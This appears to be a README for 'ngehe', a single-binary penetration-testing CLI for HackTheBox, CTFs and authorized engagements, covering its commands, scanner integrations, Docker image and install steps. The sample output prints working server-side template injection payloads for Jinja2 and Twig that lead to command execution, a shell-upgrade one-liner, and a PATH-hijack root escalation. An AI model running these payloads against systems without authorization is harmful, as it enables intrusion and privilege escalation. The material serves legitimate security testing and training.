Single-binary pentest CLI
for HTB, CTFs, and authorized engagements.

Why ngehe

One Go binary. No Python venv hell, no plugin sprawl, no GUI tax.

Five commands

Pick the entry point that matches what you have.

$ ngehe box \
    --target 10.10.11.5 \
    --domain target.htb \
    --markdown box.md

$ ngehe surface \
    --domain target.htb \
    --nuclei \
    --markdown surface.md

$ ngehe recon \
    --target http://10.10.11.5 \
    --markdown recon.md

$ ngehe scan \
    --har capture.har \
    --config ngehe.yaml \
    --nuclei \
    --markdown findings.md

$ ngehe chain findings.jsonl
$ ngehe chain findings.jsonl --all

Detector library

Web detectors aligned to OWASP Top 10. Each one emits a structured finding with rule, severity, evidence, and next-step.

Service scanners (ngehe box)

Auto-dispatched per service nmap finds open.

External scanner integrations

Four independent open-source scanners ngehe shells out to when their binaries are on PATH. Findings land in the same JSONL with source: set so you can filter native vs upstream. Install all four with ./install.sh --with-extras — or skip the host install entirely and use the Docker image (everything pre-bundled).

Each integration is opt-in. If a binary is missing, ngehe prints a hint and skips it without failing the run. Filter native vs upstream findings via ngehe view — no need to remember jq:

$ ngehe view findings.jsonl --source nuclei
$ ngehe view findings.jsonl --source native      # just ngehe's own detectors
$ ngehe view findings.jsonl --source upstream    # any external tool (nuclei/amass/subfinder/httpx)

Output: from finding to shell

Every finding carries a next field with the literal payload. The markdown report opens with a "Suggested attack chain" section that orders the criticals and gives you the commands to run.

{
  "rule": "ssti",
  "severity": "critical",
  "method": "GET",
  "url": "http://target/api/greet?name=%7B%7B1337%2A1331%7D%7D",
  "param": "query:name",
  "payload": "{{1337*1331}}",
  "evidence": "Jinja2/Twig evaluated 1337*1331 → 1779547",
  "why": "template expression evaluated server-side",
  "next": "RCE via template. Engine in evidence — chain to OS commands:
    Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    Twig:   {{['id']|filter('system')}}"
}

# Just the attack-chain candidates
$ ngehe view findings.jsonl --severity critical,high

# Convert filtered subset to markdown
$ ngehe view findings.jsonl --severity critical,high --markdown actionable.md

# Pipe URLs into the next stage
$ ngehe view findings.jsonl --rule httpx-live --urls | xargs -I{} ngehe scan -t {}

## Suggested attack chain

1. CRITICAL ssti at /api/greet?name=...
   → RCE via Jinja2 template injection
   → upgrade shell: python3 -c 'import pty; pty.spawn("/bin/bash")'

2. HIGH SUID PATH-hijack candidate on
   /usr/local/bin/backup-tool (calls tar with relative path)
   → drop a fake tar in /tmp; export PATH=/tmp:$PATH; run binary
   → likely root shell. cat /root/root.txt

Architecture

Each detector and service module is an independent Go package under internal/. They share httpx, fuzz, oracle, finding, and wordlist utilities.

Container

Don't want to install on your host? The bundled Docker image runs on Linux, macOS (Apple Silicon + Intel), and Windows/WSL — same image, no platform-specific compile pain.

$ git clone https://github.com/chud-lori/ngehe.git
$ cd ngehe
$ ./scripts/ngehe doctor                    # auto-builds image on first run (15-25 min)
$ ./scripts/ngehe surface -d example.com --nuclei
$ ./scripts/ngehe --shell                   # interactive shell with every tool on PATH

~2GB image, the full web + box pentest toolkit. ngehe + nuclei (templates pre-baked) + amass + subfinder + httpx + nmap + sqlmap + ffuf + gobuster + dalfox + hashcat + impacket + netexec + evil-winrm + kerbrute + enum4linux-ng + smbclient + ldap-utils + bloodhound-python + PayloadsAllTheThings. Build once, every command works.

Or docker compose (auto-builds on first run):

$ docker compose run --rm ngehe surface -d example.com --nuclei

No public registry image yet — same model as amass. Set NGEHE_IMAGE=ghcr.io/me/ngehe:latest after pushing to your own registry to swap the local build for a pull.

Install (host)

Prefer to install on the host? Detects brew / apt / dnf / pacman / apk, installs nmap, builds, and drops ngehe in /usr/local/bin.

$ git clone https://github.com/chud-lori/ngehe.git
$ cd ngehe
$ sudo ./install.sh                       # base: ngehe + nmap
$ sudo ./install.sh --with-extras         # also nuclei + amass + subfinder + httpx

Non-root install to ~/.local/bin:

$ PREFIX=$HOME/.local ./install.sh --with-extras

Uninstall (three tiers):

$ sudo ./install.sh --uninstall                   # ngehe binary only
$ sudo ./install.sh --uninstall --with-extras     # also remove the four extras
$ sudo ./install.sh --uninstall --purge           # nuke everything: + nmap + template cache + go modcache

Verify deps:

$ ngehe doctor
# required: nmap                     (for ngehe box)
# recommended: hashcat / sqlmap / bloodhound

HTB quick start

Pwning a typical HTB box with ngehe.

# 1. Full-spectrum scan. Hits every open port.
$ ngehe box --target 10.10.11.5 --domain target.htb --markdown box.md

# 2. If a web app is in scope: capture real traffic in Burp / mitmproxy.
# 3. Write ngehe.yaml with sessions + default-creds URLs.
$ ngehe init --out ngehe.yaml

# 4. Active web scan — every detector.
$ ngehe scan --har capture.har --config ngehe.yaml --markdown web.md

# 5. Read the "Suggested attack chain" header in box.md / web.md.
# 6. Run the literal commands ngehe printed in the next field.
# 7. user.txt → root.txt.

Full walkthroughs (web → root.txt, AD → Domain Admin) in the HOWTO.

Companion tools

ngehe is the active component of a three-tool stack. They share a JSONL output convention.